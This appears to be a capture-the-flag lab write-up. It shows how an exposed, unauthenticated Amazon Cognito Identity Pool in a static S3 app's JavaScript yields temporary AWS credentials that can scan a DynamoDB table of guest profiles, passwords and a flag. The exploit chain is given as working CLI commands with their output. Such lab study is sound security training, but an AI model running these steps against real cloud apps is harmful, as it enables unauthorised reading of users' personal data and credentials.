A "complimentary wellness" web app hosted as a static S3 website. Its client-side
app.js wires up an unauthenticated Amazon Cognito Identity Pool - so anyone
can mint temporary AWS credentials, and those credentials can read the app's DynamoDB table
directly. The flag sits in the guest-profile data.
Install the free app and it hands your phone a set of cloud keys, the same set it hands everyone. They're read-only, but read-only of every guest's contacts, location, and passwords, not just Lambo's. She gave consent. Technically.
Lambo installed the Byte Lotus Wellness app the day she arrived - it was free, it had great reviews (written by the app, but she didn't check), and it got her a tote bag for saying yes to camera, mic, contacts, and location access. No account needed. No login screen. It just... knows things about you the moment you open it.
That's the whole pitch: "complimentary" access, no friction, no sign-up. Something still has to be deciding what you're allowed to see, even without a login - and whatever that something is, it isn't checking very carefully.
Your objective: find out how the app knows anything about you at all, and see what else it's willing to hand over. (Track down the AWS mechanism issuing you credentials; use them to dump more than your own record from the app's DynamoDB table; retrieve the flag from another guest's data.)
None. The app is an S3-hosted static site; everything is client-side plus AWS APIs.
http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
A static SPA does its auth in the browser - read app.js.
$ curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";
... AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: IDENTITY_POOL_ID });
Conclusion: the Identity Pool allows unauthenticated identities. That is an AWS credential vending machine open to the public.
$ aws cognito-identity get-id --identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" --region us-east-1
{ "IdentityId": "us-east-1:4d571309-b055-c2ee-a173-dae4de8cbb92" }
$ aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:4d571309-b055-c2ee-a173-dae4de8cbb92" --region us-east-1
{ "Credentials": { "AccessKeyId": "ASIA...J425", "SecretKey": "...", "SessionToken": "IQoJ..." } }
$ export AWS_ACCESS_KEY_ID=ASIA...J425 AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=IQoJ...
Conclusion: we now hold temporary AWS creds bound to the guest (unauth) role - whatever that role can do, we can do.
The role has read on the app's DynamoDB table; scan it.
$ aws dynamodb scan --table-name "complimentary-GuestWellnessProfiles" --region us-east-1
{ "Items": [
{ "guest_id": {"S":"guest-vibe"}, "password": {"S":"digitaldetox2026"}, "name": {"S":"Vibe (Move Fast & Break Things)"}, ... },
... guest-ponzi, ... 5 items total ...
], "Count": 5 }
...
THM{fr33_app_fr33_d4t4!}
FLAG = THM{fr33_app_fr33_d4t4!}
Conclusion: a public unauth Cognito pool + an over-permissive guest role = full read of the guest profiles (names, passwords, geolocation) and the flag - "free app, free data".
1. read app.js -> Identity Pool ID + region + table name
2. cognito-identity get-id -> IdentityId
3. get-credentials-for-identity -> temporary AWS creds (unauth role)
4. dynamodb scan TABLE_NAME -> guest profiles + THM{fr33_app_fr33_d4t4!}
$ aws dynamodb scan --table-name "complimentary-GuestWellnessProfiles" --region us-east-1 | grep -o 'THM{[^}]*}'
THM{fr33_app_fr33_d4t4!}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Disclosure | app.js leaks an unauthenticated Cognito Identity Pool ID + region + DynamoDB table name. |
| 2 | Credential minting | get-id + get-credentials-for-identity yield temporary AWS creds for the unauth guest role. |
| 3 | Data read | The role can dynamodb scan the guest table -> profiles + THM{fr33_app_fr33_d4t4!}. |